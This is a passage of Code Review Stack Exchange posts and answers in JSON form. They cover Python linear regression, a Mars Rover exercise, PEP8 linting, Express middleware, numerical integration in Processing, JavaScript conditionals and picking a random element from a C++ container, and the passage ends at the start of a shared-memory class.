href=\"https://www.youtube.com/watch?v=5ZKvwuZSiyc\" rel=\"nofollow noreferrer\">Stop Writing Classes</a> for more detail.</p>\n\n<p>You don't need a class for this; just a single function. This function would:</p>\n\n<ul>\n<li>Compute the means</li>\n<li>Compute the slope</li>\n<li>Compute the b_zero</li>\n<li>Return the above</li>\n</ul>\n\n<p>A class is unnecessary, because everything can be done in this one simple function call. No state needs to be maintained.</p>\n\n<pre><code>from collections import namedtuple\n\nLinearReg = namedtuple('LinearReg', 'x_mean, y_mean, slope, b_zero')\n\ndef linear_regression(x, y):\n\n if len(x) != len(y):\n raise ValueError(\"Both axis must have the same number of values\")\n\n x_mean = sum(x) / len(x)\n y_mean = sum(y) / len(y)\n\n sum_x2_dev = sum((xi - x_mean) ** 2 for xi in x)\n sum_xy_dev = sum((xi - x_mean) * (yi - y_mean) for xi, yi in zip(x, y))\n\n slope = sum_xy_dev / sum_x2_dev\n b_zero = y_mean - slope * x_mean\n\n return LinearReg(x_mean, y_mean, slope, b_zero)\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code>>>> lr = linear_regression([1, 2, 3, 4, 5], [2, 3, 2.5, 4, 3.5])\n>>> lr.slope\n0.4\n>>> lr.b_zero\n1.7999999999999998\n</code></pre>\n\n<p>We can slightly beefed up the <code>namedtuple</code>, adding some convenience methods to it:</p>\n\n<pre><code>class LinearReg(namedtuple('LinearReg', 'x_mean, y_mean, slope, b_zero')):\n\n def __str__(self):\n return f\"The best line equation is: {self.slope:.2f}x + {self.b_zero:.2f}\"\n\n def __call__(self, x):\n \"\"\"\n Interpolation/extrapolation: return y-value for a given x-value\n \"\"\"\n return self.slope * x + self.b_zero\n</code></pre>\n\n<p>And then we'd additionally have:</p>\n\n<pre><code>>>> str(lr)\n'The best line equation is: 0.40x + 1.80'\n>>> lr(6)\n4.2\n</code></pre>\n\n<h1>A Use Case for a Class</h1>\n\n<p>If your <code>LinearReg</code> object allowed additional data points to be added, then you would have \"state\" which could be maintained in your object. And then it would make sense to recompute the slope and b_zero values when requested.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-11T10:16:05.817",
"Id": "464686",
"Score": "0",
"body": "I get your point on not writing a class for this purpose, however I feel like when creating a function for this purpose, it hurts the readablity (not saying my class is super readable but I feel like it's more clear to see what's going on)."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T16:28:12.333",
"Id": "236723",
"ParentId": "236668",
"Score": "0"
}
},
{
"body": "<p>Some good points have been said, I'm not going over those again. Just wanted to say that your code is probably meant to be used by someone else. Even if it's not, your API should reflect what your code will be working on.\nI would not take 2 arrays for input, but an array of 2d coordinates. Then, if for your computation it's easier to split those coordinates in 2 arrays, do this inside your code.</p>\n\n<p>My 2 cents.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T06:57:14.713",
"Id": "236878",
"ParentId": "236668",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T20:06:01.350",
"Id": "236668",
"Score": "3",
"Tags": [
"python",
"mathematics",
"statistics",
"library",
"modules"
],
"Title": "Linear Regression Class in Python"
}
|
236668
|
<p>I have given the Mars Rover challenge a go in Python.</p>
<p>(edit) Here is the challenge, for those unfamiliar:</p>
<p><em>A rover’s position and location is represented by a combination of x and y co-ordinates and a letter representing one of the four cardinal compass points. The plateau is divided up into a grid to simplify navigation. An example position might be 0, 0, N, which means the rover is in the bottom left corner and facing North.</em></p>
<p><em>In order to control a rover , NASA sends a simple string of letters. The possible letters are ‘L’, ‘R’ and ‘M’. ‘L’ and ‘R’ makes the rover spin 90 degrees left or right respectively, without moving from its current spot. ‘M’ means move forward one grid point, and maintain the same heading.</em></p>
<p><em>Test Input:</em></p>
<p>5 5</p>
<p>1 2 N</p>
<p>LMLMLMLMM</p>
<p>3 3 E</p>
<p>MMRMMRMRRM</p>
<p><em>Expected Output:</em></p>
<p>1 3 N</p>
<p>5 1 E</p>
<p>I am still relatively new to Python so know this is a bit basic - but I wondered if I could get some general feedback on my code for best coding practice?</p>
<pre><code>
class MarsRover():
RIGHT_ROTATE = {
'N':'E',
'E':'S',
'S':'W',
'W':'N'
}
LEFT_ROTATE = {
'N':'W',
'W':'S',
'S':'E',
'E':'N'
}
def __init__(self, X, Y, direction):
self.X = X
self.Y = Y
self.direction = direction
def rotate_right(self):
self.direction = RIGHT_ROTATE[self.direction]
def rotate_left(self):
self.direction = LEFT_ROTATE[self.direction]
def move(self):
if self.direction == 'N':
self.Y += 1
elif self.direction == 'E':
self.X += 1
elif self.direction == 'S':
self.Y -= 1
elif self.direction == 'W':
self.X -= 1
def __str__(self):
return str(self.X) + " " + str(self.Y) + " " + self.direction
@classmethod
def get_rover_position(self):
position = input("Position:")
X = int(position[0])
Y = int(position[2])
direction = position[4]
class Plateau():
def __init__(self, height, width):
self.height = height
self.width = width
@classmethod
def get_plateau_height(self):
plateau_size = input("Plateau size:")
height = int(plateau_size[0])
width = int(plateau_size[2])
def main():
plateau = Plateau.get_plateau_height()
rover = MarsRover.get_rover_position()
current_command = 0
command = input("Please input directions for rover.")
command_length = len(command)
while current_command <= command_length - 1:
if command[current_command] == 'L':
rover.rotate_left()
current_command += 1
elif command[current_command] == 'R':
rover.rotate_right()
current_command += 1
elif command[current_command] == 'M':
rover.move()
current_command += 1
result = str(rover)
print(result)
if __name__ == '__main__':
main()
</code></pre>
<p>I am also getting the following error when I run the code:</p>
<pre><code> 94 if command[current_command] == 'L':
---> 95 rover.rotate_left()
96 current_command += 1
97 elif command[current_command] == 'R':
AttributeError: 'NoneType' object has no attribute 'rotate_left'
</code></pre>
<p>Is anyone able to shed some light on why the 'rover' object is of NoneType?</p>
<p>Thanks in advance.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T20:49:01.373",
"Id": "463931",
"Score": "1",
"body": "What's the Mars Rover challenge? A bit of exposition would be great for those unfamiliar. Also, if the code isn't working as you expect, it's [off-topic](https://codereview.stackexchange.com/help/on-topic) for CR."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T22:10:31.003",
"Id": "463939",
"Score": "0",
"body": "Do not edit the code once you have received an answer, as your code changes can invalidate that answer. You can ask a follow up question to have the changed code looked at."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T02:46:21.357",
"Id": "463958",
"Score": "1",
"body": "if you have fixed your errors please post a new question, make sure to check out our [How to ask a good question](https://codereview.stackexchange.com/help/how-to-ask) page for pointers on how to get better answers."
}
] |
[
{
"body": "<p><code>get_rover_position</code> does not return anything, and therefore the variable is None. You need to instantiate <code>MarsRover</code> in that class method with the provided input and return the newly created instance. The same applies also to <code>get_plateau_height</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T08:08:23.307",
"Id": "463979",
"Score": "0",
"body": "Next time, please refrain from answering off-topic questions. Questions have to be within scope of the site before they can be answered and code that throws blatant errors like this is not fit. Thank you."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T08:15:25.047",
"Id": "463984",
"Score": "1",
"body": "Will do. Thanks for the heads up."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T20:33:41.183",
"Id": "236671",
"ParentId": "236669",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T20:09:08.593",
"Id": "236669",
"Score": "1",
"Tags": [
"python",
"algorithm"
],
"Title": "Mars Rover Python exercise"
}
|
236669
|
<p>I am working on a Nagios Scraper in Python3. I have Github set to automatically run checks (i.e. Python Linter) to make sure the code is good. It is currently failing that check, although the code <strong>works</strong>.</p>
<p>When I check with a <a href="http://pep8online.com/" rel="nofollow noreferrer">PEP8 checker online</a>, I am getting constant warnings about `<strong>line break before binary operator</strong>. The <a href="https://www.python.org/dev/peps/pep-0008/#should-a-line-break-before-or-after-a-binary-operator" rel="nofollow noreferrer">Python Style Guide</a> says I should put the operators at the beginning of the line.</p>
<p>Example of the "wrong" code:</p>
<pre><code>for (a, b, c) in zip(user, url, extracted_information):
data_to_print += (
bcolors.OKGREEN + '{hosts_up}\t'
+ bcolors.FAIL + '{hosts_down}\t'
+ bcolors.WARNING + '{hosts_unreachable}\t'
)
</code></pre>
<p>Which method is correct? Mine, the PEP8 checker, or something else?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T21:43:11.530",
"Id": "463936",
"Score": "0",
"body": "To the close-voter: This code works as I expect it to."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T22:59:32.497",
"Id": "463944",
"Score": "0",
"body": "But the code doesn't parse, due to a missing `)`!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T23:38:25.127",
"Id": "463949",
"Score": "0",
"body": "Argh, you're right! I was expecting to put in the minimal amount of code to produce the warning. Is this better @AJNeufeld?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T17:55:36.530",
"Id": "464043",
"Score": "0",
"body": "I know that pycodestyle, formerly known as pep8 - without a space, is incorrect, and does what you state. PEP 8 states that you are correct, ignore the linter."
}
] |
[
{
"body": "<p><strong>A linter doesn't check that the code <em>works,</em> it checks that the code follows some specific formatting guidelines.</strong> Neither is more <em>correct,</em> but there is community consensus that <em>in general,</em> following the PEP8 standard makes Python code easier to read for humans.</p>\n\n<p>It is completely possible that the online linter, which you haven't referenced or named, <em>contradicts</em> PEP8 in some way, in which case I would instead try using one of the well-maintained linters like <a href=\"https://pypi.org/project/flake8/\" rel=\"nofollow noreferrer\">flake8</a>. Or make your life even simpler and use <a href=\"https://github.com/python/black\" rel=\"nofollow noreferrer\">Black</a> to automatically <em>format</em> your code and get most of PEP8 for free.</p>\n\n<hr>\n\n<blockquote>\n <p>line break before binary operator</p>\n</blockquote>\n\n<p>Means just that: the linter considers it a problem that there is a line break (aka. newline) just before a binary operator (in this case, presumably <code>+</code>, although I didn't expect that to be considered a <em>binary</em> operator in a string context). Try moving the <code>+</code> operators from the start to the end of the previous line.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T02:33:39.610",
"Id": "463957",
"Score": "1",
"body": "It's also worth mentioning that PEP 8 [allows the usage of operators before or after a new line](https://www.python.org/dev/peps/pep-0008/#should-a-line-break-before-or-after-a-binary-operator), as long as it's consistent throughout."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T17:56:18.050",
"Id": "464044",
"Score": "0",
"body": "This sounds like a bad joke, because pycodestyle - which flake8 wraps - has this error. Noice."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T17:58:23.903",
"Id": "464045",
"Score": "0",
"body": "Added the link, but I understand what you're saying"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T02:23:22.477",
"Id": "236680",
"ParentId": "236672",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236680",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T21:01:49.917",
"Id": "236672",
"Score": "-2",
"Tags": [
"python",
"python-3.x"
],
"Title": "Python linter vs PEP8"
}
|
236672
|
<p>In an api I'm building, I have multiple routes that require an agency to exist before any action is performed on the requested agency. </p>
<p>To avoid repetition I've written some middleware to check that the agency does indeed exist before continuing (and throws if it does not).</p>
<p>The code I have works but I have to make two requests to the db, I'm wondering if I can accomplish the same goal with only a single query.</p>
<p>Here is my code:</p>
<pre><code>// routes/v1/index.js
const express = require("express")
const router = require("express-promise-router")()
router.use(["/agencies/:id", "/agencies/:id/*"], agencies.checkExistsByReqId)
router
.route("/agencies/:id")
.get(agencies.getById)
.patch(agencies.patch)
.delete(agencies.delete)
export default router
</code></pre>
<pre><code>// controllers/v1/agencies/checkExistsByReqId.js
import db from "../../../db"
import { AgencyDoesNotExistError } from "../../../errors"
export default async (req, res, next) => {
// note: To make the query as small as possible this just returns an id if exists
const exists = await db.agency.checkExistsById(req.params.id)
if (!exists) throw new AgencyDoesNotExistError()
next()
}
</code></pre>
<pre><code>// /controllers/v1/agencies/getById.js
import db from "../../../db"
import { AgencyDoesNotExistError } from "../../../errors"
export default async (req, res) => {
const agency = await db.agency.getById(req.params.id)
const isMember = agency.members.find(member => member.authId === req.user.sub)
if (!isMember) throw new AgencyDoesNotExistError()
res.send(agency)
}
</code></pre>
<pre><code>// db/index.js
export const agency = {
create: async data => new Agency(data).save(),
findOne: filter => Agency.findOne(filter),
findOneAndUpdate: (filter, update, options) =>
Agency.findOneAndUpdate(filter, update, options),
getById: async agencyId => Agency.findById(agencyId).populate("members"),
checkExistsById: agencyId => Agency.findById(agencyId, "_id")
}
</code></pre>
|
[] |
[
{
"body": "<p>I managed to accomplish this by adding the agency to <code>res.locals</code>. Here's the amended code:</p>\n\n<pre><code>// /routes/v1/index.js\n\nconst router = require(\"express-promise-router\")()\n\nrouter.use([\"/agencies/:id\", \"/agencies/:id/*\"], agencies.addAgencyToResLocals, agencies.ensureUserIsMember)\n\nrouter\n .route(\"/agencies/:id\")\n .get(agencies.getById)\n .patch(agencies.ensureUserIsAdmin, agencies.patch)\n .delete(agencies.ensureUserIsAdmin, agencies.delete)\n</code></pre>\n\n<pre><code>// /controllers/v1/agencies/addAgencyToResLocals.js\n\nimport db from \"../../../db\"\nimport { AgencyDoesNotExistError } from \"../../../errors\"\n\nexport default async (req, res, next) => {\n const agency = await db.agency.getById(req.params.id)\n\n if (!agency) throw new AgencyDoesNotExistError()\n\n res.locals.agency = agency\n\n next()\n}\n</code></pre>\n\n<pre><code>// /controllers/v1/agencies/ensureUserIsMember.js\n\nimport { UnauthorizedError } from \"../../../errors\"\n\nexport default (req, res, next) => {\n const { agency } = res.locals\n\n const isMember = agency.members.find(member => member.authId === req.user.sub)\n\n if (!isMember) throw new UnauthorizedError()\n\n next()\n}\n\n</code></pre>\n\n<pre><code>// /controllers/v1/agencies/getById.js\n\nexport default async (req, res) => res.send(res.locals.agency)\n</code></pre>\n\n<p>I'm not sure if this is the best solution but it simplifies my code a lot. The one issue I see is that another person working with the code base for the first time would have to have knowledge about the middleware being applied. That being said I feel it's acceptable to say that someone working with express should have knowledge of middleware and how it works IMO.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T23:01:46.980",
"Id": "236750",
"ParentId": "236675",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T22:26:41.100",
"Id": "236675",
"Score": "1",
"Tags": [
"performance",
"express.js",
"mongodb",
"mongoose"
],
"Title": "Express error if agency not found middleware"
}
|
236675
|
<p>I made this code to compute definite integrals in Processing. It works by getting the rectangle between the maximum value between the previous function value and the current function value, and then I calculate the area by multiplying the maximum value described before and the step. And finally, the integral is just summing all the areas.</p>
<p>I will do a version based on trapezoids, but that could get really slow because I would need to use the square root function witch is computationally intensive to compute.</p>
<p>Any suggestions are welcome.</p>
<pre><code>float step = 0.0001;
int iterations = 0;
// y = x
float f1(float x) {
return 2 * x;
}
float integral(int a, int b) {
float sum = 0.0;
float prevI = a;
for (float i = a; i < b; i += step) {
float h = max(f1(prevI), f1(i));
sum += step * h;
prevI = i;
iterations++;
}
return sum;
}
void setup() {
println(integral(0, 1));
println(iterations);
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T23:04:16.720",
"Id": "463945",
"Score": "1",
"body": "`the square root function witch is computationally intensive to compute` indeed? What platform/computing device?"
}
] |
[
{
"body": "<ul>\n<li>Using the max of two consecutive values is asymmetric.<br>\n(I'd simply use the value sampled, avoids the following issue, too:)</li>\n<li>For most every \"sample\" (<code>i</code>), the code computes the value of <code>f()</code> twice (<code>f(prevI)</code>): keep <code>prevF</code> instead </li>\n<li>a <code>double</code> (64 bits in Processing, as in Java) may be a saner type designator than <code>float</code> (32 bits),\nespecially for \"the accumulator\" <code>sum</code>. When the number of summands approaches the number representable by its mantissa, you need a more sophisticated strategy than <em>adding in numbers one by one</em>.</li>\n<li>the code multiplies each and every <code>h</code> by <code>step</code>:<br>\ndon't, instead, multiply <code>sum</code> by <code>step</code> after the loop<br>\n(similarly, don't <em>count</em> trips/iterations, compute as (b-a)/step)</li>\n<li>consider making <code>step</code> a parameter<br>\n(My pet idea would be setting a time limit and adding samples until time is up.<br>\nDepending on sampling strategy, keeping track of weights (width of the trapezoids, <code>step</code>) is a challenge.)</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T23:25:51.500",
"Id": "463948",
"Score": "0",
"body": "(This answer hasn't started as much of a review: feel free to modify it as well as the code in the question disregarding this answer.)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T23:23:52.860",
"Id": "236677",
"ParentId": "236676",
"Score": "2"
}
},
{
"body": "<p>This is a strange way to compute an integral. For each step, you're choosing the greater of the f(x) values given the current <code>i</code> or the previous <code>i</code> to calculate the area. I'd imagine it'd be better to choose a more conventional method such as Middle Riemann Sum, which is what I believe most modern calculators use. If you want to do a trapezoidal approximation, you can simply average a Left and Right Riemann sum (which is mathematically equivalent), but that would require you to cycle from <code>a</code> to <code>b</code> twice, which is slow, but maybe more accurate than a Middle Riemann Sum.</p>\n\n<hr>\n\n<p>Your integral function ought to be a pure function: each input has the same output, it is unaffected by state, and it does not affect state.</p>\n\n<p>Right now, the integral function is affected by the state <code>step</code> and <code>f1</code> and also affects the state <code>iterations</code>.</p>\n\n<p>Instead, your code would be much cleaner if you made <code>step</code> and <code>function</code> arguments to integral. As for <code>iterations</code>, that can be easily computed by <code>(b-a)/step</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T12:36:24.203",
"Id": "464332",
"Score": "0",
"body": "Thanks for giving a method, I will investigate it. Right now I don't have that much time available but I will try that as soon as I can."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T17:19:03.143",
"Id": "236853",
"ParentId": "236676",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T22:45:17.283",
"Id": "236676",
"Score": "1",
"Tags": [
"numerical-methods",
"processing"
],
"Title": "Simple definite integral calculator"
}
|
236676
|
<p>I need to compare a title for 3 strings</p>
<p>here what I'm doing</p>
<pre><code>var textMessage = ""
props.screen == 'dd' ? textMessage = "Next, select the dd " : null
props.screen == 'ff' ? textMessage = "Next, select the ff " : null
props.screen == 'ss' ? textMessage = "Next, select the ss " : null
</code></pre>
|
[] |
[
{
"body": "<pre><code>let textMessage = 'Next, select the '\nswitch (props.sceen) {\n case 'dd':\n textMessage += 'dd'\n break\n case 'ff':\n textMessage += 'ff'\n break\n case 'ss':\n textMessage += 'ss'\n break\n default:\n textMessage = ''\n}\n</code></pre>\n\n<p>or </p>\n\n<pre><code>messageDictionary = {\n dd: 'Next, select the dd ',\n ff: 'Next, select the ff ',\n ss: 'Next, select the ss '\n}\ntextMessage = messageDict[props.screen] || ''\n</code></pre>\n\n<p>By using the second way, it will be easier for you to add the new screen option.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T08:42:27.667",
"Id": "236694",
"ParentId": "236681",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236694",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T03:08:21.743",
"Id": "236681",
"Score": "0",
"Tags": [
"javascript",
"typescript"
],
"Title": "JS, TS, handle 3 consecutive ifs / ternaries"
}
|
236681
|
<p>It was not obvious how to get a random member of a container. So I wrote a function to retrieve it given a generator.</p>
<pre><code>namesapce ThorsAnvil
{
namespace Util
{
using Distribution = std::uniform_int_distribution<int>;
/* Get a distribution from [0, max) */
/* None maths nerds: Note the [ and ) */
Distribution getDist(int max)
{
return Distribution{0, max - 1};
}
template<typename C, typename G>
auto getRandomIteratorFromContainer(C& container, G& generator)
{
auto pos = container.begin();
int offset = getDist(container.size())(generator);
std::advance(pos, offset);
return pos;
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T04:58:42.950",
"Id": "463960",
"Score": "4",
"body": "Code not working: `namesapce` Did you test your code? ;)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T12:27:09.583",
"Id": "464005",
"Score": "0",
"body": "It helps reviewers if you show the necessary `#include` lines, rather than us all having to figure out what's required. And I'd expect `#include <iterator>` in there, as it's impossible to instantiate the template without needing a definition of `std::advance`, even though it can be parsed without."
}
] |
[
{
"body": "<h3>Long name</h3>\n\n<p><code>ThorsAnvil::Util::getRandomIteratorFromContainer</code> is a really long name. I suggest something like <code>getRandomElement</code> or even <code>randomElement</code>.</p>\n\n<h3>Unnecessary function</h3>\n\n<p><code>getDist</code> seems kind of unnecessary to me. I think it would be cleaner to construct the distribution directly.</p>\n\n<pre><code>std::uniform_int_distruction<int> dist{0, container.size() - 1};\n</code></pre>\n\n<h3>Types</h3>\n\n<p>The integer type used for iterator arithmetic is <code>typename C::difference_type</code>. This is almost always equivalent to <code>std::ptrdiff_t</code> so to be crystal clear, use <code>std::ptrdiff_t</code>.</p>\n\n<pre><code>std::uniform_int_distruction<std::ptrdiff_t> dist{0, container.size() - 1};\n</code></pre>\n\n<h3>Unnecessary variable</h3>\n\n<p><code>offset</code> is initialized with a random offset and is only used once. If it's only used once then it doesn't really need to exist.</p>\n\n<pre><code>std::advance(pos, dist(generator));\n</code></pre>\n\n<h3>Wrong function</h3>\n\n<p><code>std::advance</code> modifies an existing iterator. This means that we need store the iterator, advance it, then return the iterator. That's three steps. <code>std::next</code> takes an iterator and returns an incremented one.</p>\n\n<pre><code>return std::next(container.begin(), dist(generator));\n</code></pre>\n\n<h3>Covering all cases</h3>\n\n<p>Using <code>.begin()</code> and <code>.size()</code> is a little bit restrictive. If we use <code>std::begin</code> and <code>std::size</code>, this function will work on C-style arrays which is a nice. If we want to be even more general (as Toby mentioned in the comments), we can let ADL pick up the right function for containers that declare their own <code>begin</code> and <code>size</code> functions.</p>\n\n<pre><code>using std::begin;\nusing std::size;\n</code></pre>\n\n<h3>Short names</h3>\n\n<p>My answer has been pretty nitpicky so far but this is particularly nitpicky. Long template parameter names that clearly describe the parameter are better than single character names.</p>\n\n<pre><code>template <typename Container, typename Generator>\n</code></pre>\n\n<h3>How I would write it</h3>\n\n<p>After applying the above transformations. We get this function:</p>\n\n<pre><code>template <typename Container, typename Generator>\nauto random_element(Container &con, Generator &gen) {\n using std::begin;\n using std::size;\n std::uniform_int_distribution<std::ptrdiff_t> dist{0, size(con) - 1};\n return std::next(begin(con), dist(gen));\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T08:10:07.793",
"Id": "463980",
"Score": "0",
"body": "Technically, it should be `std::ptrdiff_t`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T08:11:56.110",
"Id": "463981",
"Score": "0",
"body": "@user673679 They're the same thing. It's *personal preference* whether you use `ptrdiff_t` or `std::ptrdiff_t`. I personally don't see the point in the extra 5 characters."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T08:22:22.917",
"Id": "463986",
"Score": "0",
"body": "Yeah. I'd prefer to use the one that's guaranteed to exist."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T12:20:54.117",
"Id": "464004",
"Score": "1",
"body": "There's one aspect you changed, but didn't mention explicitly, the use of `C` and `G` as names. One thing is that these single letters don't convey much information. Another thing is that these are `ALL_UPPERCASE`, so one could even mistake them for macros."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T13:06:51.763",
"Id": "464007",
"Score": "0",
"body": "@uli I did mention this under **Short names**. I don't think they could be mistaken for macros as it's pretty common to use single character names for template parameters (thanks Java!). Sometimes you can't be more specific than \"a type\" so you just use `T`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T13:40:13.243",
"Id": "464012",
"Score": "0",
"body": "That must have escaped me. Sorry, @Kerndog73."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T23:54:11.367",
"Id": "464093",
"Score": "0",
"body": "Thanks. Agree with most of that. Long names!! We have `namespace TU = ThorsAnvil::Util;` to cope with that."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T07:37:31.620",
"Id": "236688",
"ParentId": "236682",
"Score": "7"
}
},
{
"body": "<p>In addition to Kerndog73's answer:</p>\n\n<ul>\n<li>Don't forget to check for an empty container to avoid undefined behavior. We should probably return the <code>end()</code> iterator in that case.</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T08:12:16.313",
"Id": "236691",
"ParentId": "236682",
"Score": "3"
}
},
{
"body": "<p>Instead of accepting a container, accept an iterator pair. We may want to use just part of a container (e.g. after using <code>std::partition</code>). In C++20, a standard <code>forward_range</code> view could be used.</p>\n\n<p>It probably makes sense to use different implementations for forward-access and random-access collections (there's a single-pass algorithm for selecting 1 out of an unknown number of elements, so we could even accept input iterators).</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T10:35:16.110",
"Id": "236702",
"ParentId": "236682",
"Score": "3"
}
},
{
"body": "<p>I think you should clarify what you want. Depending on that, the answer will be slightly different.</p>\n\n<p>If you want an iterator to a random element then Kerndog's answer is really close:</p>\n\n<pre><code>template <typename Container, typename Generator>\nauto random_iterator(Container &con, Generator &gen) {\n using std::begin;\n using std::size;\n std::uniform_int_distribution<std::ptrdiff_t> dist{0, size(con) - 1};\n return std::next(begin(con), dist(gen));\n}\n\ntemplate <typename Container, typename Generator>\nauto random_iterator(const Container &con, Generator &gen) {\n using std::cbegin;\n using std::size;\n std::uniform_int_distribution<std::ptrdiff_t> dist{0, size(con) - 1};\n return std::next(cbegin(con), dist(gen));\n}\n</code></pre>\n\n<p>Note that there should be a const/non-const overload.</p>\n\n<p>If you only want the element from the container you should retrieve it or get a reference?</p>\n\n<pre><code>template <typename Container, typename Generator>\nauto random_reference(const Container &con, Generator &gen) {\n using std::size;\n std::uniform_int_distribution<std::size_t> dist{0, size(con) - 1};\n return con[dist(gen)];\n}\n</code></pre>\n\n<p>Which standard do you use? If C++20 is possible then you should use at least the <code>range</code> concept and <code>ranges::size</code>:</p>\n\n<pre><code>template <range Container, typename Generator>\nauto random_const_iterator(const Container &con, Generator &gen) {\n std::uniform_int_distribution<std::ptrdiff_t> dist{0, std::ranges::size(con) - 1};\n return std::next(std::ranges::cbegin(con), dist(gen));\n}\n</code></pre>\n\n<p>Note that <code>std::ranges::size</code>/<code>std::ranges::cbegin</code> are customization point objects (CPOs), so you should call them qualified; you do not need to use ADL as that is already inside the mechanics of the CPO.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T21:12:04.227",
"Id": "464073",
"Score": "0",
"body": "The `const` overload isn't necessary. If `Container` is `const`, `begin` will return a `const` iterator. `random_reference` won't uses the subscription operator so it will only work on vectors and arrays. `random_reference` should probably call `random_iterator`. I'm really glad that ADL nonsense is hidden away in `std::ranges::*`. That's one \"pattern\" that I really dislike. I'm guessing `std::swap` still has the same problem though."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T23:06:13.507",
"Id": "464087",
"Score": "0",
"body": "Jeez, I clearly didn't proofread that comment before sending it!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T23:52:52.060",
"Id": "464092",
"Score": "1",
"body": "Don't believe I need different variants for cont and non const versions. The Type C will automatically adapt to both versions correctly. Most containers have two versions of `begin()` a const and a non const version."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T14:16:06.627",
"Id": "236712",
"ParentId": "236682",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236688",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T03:10:29.420",
"Id": "236682",
"Score": "1",
"Tags": [
"c++",
"random",
"collections"
],
"Title": "Get a random member of a container"
}
|
236682
|
<p>I wrote a class that opens a shared memory communication to use in my project, and would like a review.</p>
<p>mylib_com.hpp</p>
<pre class="lang-cpp prettyprint-override"><code>#ifndef __MYLIB_COM_HPP
#define __MYLIB_COM_HPP
#include <sys/mman.h> /* For mmap */
#include <fcntl.h> /* For O_* in shm_open */
#include <unistd.h> /* For ftruncate and close*/
#include <string.h> /* For strcpy*/
#include <string>
namespace Myns{
class Channel{
public:
